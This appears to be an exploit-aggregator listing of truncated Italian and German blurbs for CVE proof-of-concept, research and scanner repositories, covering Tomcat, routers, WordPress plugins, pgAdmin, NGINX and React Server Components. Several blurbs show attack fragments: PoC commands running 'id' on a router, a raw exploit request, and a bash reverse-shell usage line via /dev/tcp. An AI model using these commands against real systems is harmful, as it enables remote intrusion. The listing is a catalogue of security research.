CVE-2017-12617

CVE-2017-12617 CVE-2017-12617, vulnerabilità critica di Remote Code Execution RCE scoperta in Apache Tomcat Sono interessati i sistemi con HTTP PUT abilitati impostando il parametro di inizializzazione "read-only" del servlet predefinito su "false". Le versioni di Tomcat precedenti alla 9.0.1 Bet...

cisco_asa_research

Cisco ASA Research Dieses Repository enthält Folien und Code, die auf der Black Hat USA 2022 und der DEF CON 30 präsentiert wurden. Folgendes ist enthalten: Folien DEF CON 30- und Black-Hat-Foliensätze. Der DEF-CON-Foliensatz ist aufgrund eines längeren Zeitfensters etwas länger. theway – ein Too...

CVE-2023-48849

CVE-2023-48849 Il firmware dei router della serie Ruijie EG, versione =EG3.01B11P216, consente ad attaccanti non autenticati di eseguire codice arbitrario da remoto a causa di un filtraggio errato. root@kitploit: $ python3 poc.py 192.168.1.1 'id' uid=0root gid=0root $ python3 poc.py 192.168.1.1...

watchTowr-vs-WatchGuard-CVE-2025-9242

watchTowr-vs-WatchGuard-CVE-2025-9242 Generatore di artefatti di rilevamento per WatchGuard CVE-2025-9242 https://github.com/user-attachments/assets/097f099b-ba60-4223-adea-04279570460f Per i dettagli tecnici, consulta il nostro post sul blog Rilevamento in azione root@kitploit: python...

CVE-2025-53690-Analysis

CVE-2025-53690: Analyse der Sitecore ViewState Deserialization Schwachstelle Überblick CVE-2025-53690 ist eine ViewState-Deserialisierungsschwachstelle in der Sitecore-Produktfamilie, die durch die Ausnutzung offengelegter ASP.NET-Machine-Keys eine Remote-Codeausführung ermöglicht – eine kritisch...

CVE-2026-17566

CVE-2026-17566 — PoC RCE per l'Import/Export Data di pgAdmin 4 PoC di esecuzione remota di codice per lo strumento Import/Export Data di pgAdmin 4. Sfrutta la divergenza semantica dell'escaping della barra rovesciata tra il controllo parentesi isqueryparensbalanced e psql, iniettando \copy ... TO...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – Labor-Demo Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2024-5084, eine Schwachstelle, die im WordPress-Plugin Hash Form gefunden wurde. Es ist ausschließlich für Lernzwecke, Labortests und Sicherheitsforschung gedacht. 📌 Über die Schwachstelle CVE ID:...

CVE-2025-57055

CVE-2025-57055: Esecuzione remota di codice autenticata in WonderCMS 3.5.0 Meccanismo della vulnerabilità Esiste una vulnerabilità di esecuzione remota di codice RCE autenticata in WonderCMS v3.5.0. Il problema deriva da come l'applicazione gestisce installazioni remote di temi/moduli tramite...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - RCE critica in NGINX CVSS 9.2 Classificazione Categoria: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critico Data di scoperta: 12 maggio 2026 Data della patch: maggio 2026 rilascio trimestrale di sicurezza F5 Fonte: GitHub DepthFirstDisclosures/Nginx-Rift...

CVE-2026-64638

🛡️ CVE-2026-64638 - XSS2Shell XSS riflesso pre-autenticazione di WordPress con potenziale escalation a esecuzione di codice PHP 📌 Panoramica CVE-2026-64638 è una vulnerabilità ad alta severità di tipo Cross-Site Scripting XSS riflesso pre-autenticazione che interessa la schermata di accesso di...

CVE-2023-25194

CVE-2023-25194 https://hackerone.com/reports/1529790 Poc root@kitploit: POST /connectors HTTP/1.1 Host: xxxx:8083 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/109.0.0.0 Safari/537.36 Accep...

CVE-2025-48593

CVE-2025-48593: Esecuzione di codice remoto zero-click nel sistema Android Autore: LAKSHMIKANTHAN K letchupkt Data: novembre 2025 Gravità: Critica Una vulnerabilità critica di esecuzione di codice remoto zero-click che colpisce i dispositivi Android 13-16. Panoramica della vulnerabilità Attributo...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Inizialmente, CVE-2023–26326 richiedeva catene di gadget per essere sfruttata come vulnerabilità di deserializzazione. Questo metodo non è più fattibile sui siti WordPress più recenti che eseguono PHP 8+;...

CVE-2023-47460

CVE-2023-47460 Descrizione La vulnerabilità di iniezione SQL in Knovos Discovery v.22.67.0 consente a un attaccante remoto di eseguire codice arbitrario tramite il componente /DiscoveryProcess/Service/Admin.svc/getGridColumnStructure Tipo di vulnerabilità Iniezione SQL Fornitore del prodotto Knov...

cve-2018-12798

Vulnerabilità di esecuzione di codice remoto tramite heap overflow in Adobe Acrobat Reader Vulnerabilità Vulnerabilità di limitazione impropria delle operazioni entro i limiti di un buffer di memoria Descrizione della vulnerabilità Questa vulnerabilità consente a un attaccante remoto di eseguire...

cve-2026-4257

CVE-2026-4257 Dieser Exploit nutzt CVE-2026-4257 aus, eine Server-Side Template Injection SSTI-Schwachstelle im „Contact Form“-Wordpress-Plugin von Supsystic in den Versionen 1.7.36 und früher. Diese Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, Remote Code Execution zu...

CVE-2025-55182

React2Shell CVE-2025-55182 - Prova di concetto Un exploit proof-of-concept completo e una risorsa educativa per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice che interessa i React Server Components con un punteggio CVSS di 10.0. Dichiarazione di esclusione di...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 Schnellstart 1. Verwundbaren Stand bereitstellen root@kitploit: cd Stand docker compose up --build The vulnerable app runs at: http://localhost:3011 2. Run the Safe PoC Scanner bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅...

cve-2025-55182-scanner

Scanner di Indicatori CVE-2025-55182 Questo repository fornisce uno scanner basato su Python per gli indicatori di compromissione relativi a CVE-2025-55182 React Server Components RCE e allo specifico malware multi-stadio descritto nel report dell'incidente Asleepace. È progettato per essere...

CVE-2025-55182-NextJS-Scanner-React2Shell-PoC

Strumento di Exploitation CVE-2025-55182 Uno strumento completo di ricerca sulla sicurezza per testare la vulnerabilità di Remote Code Execution nei React Server Components di Next.js CVE-2025-55182. Panoramica Questo toolkit fornisce capacità automatizzate di rilevamento ed exploitation per...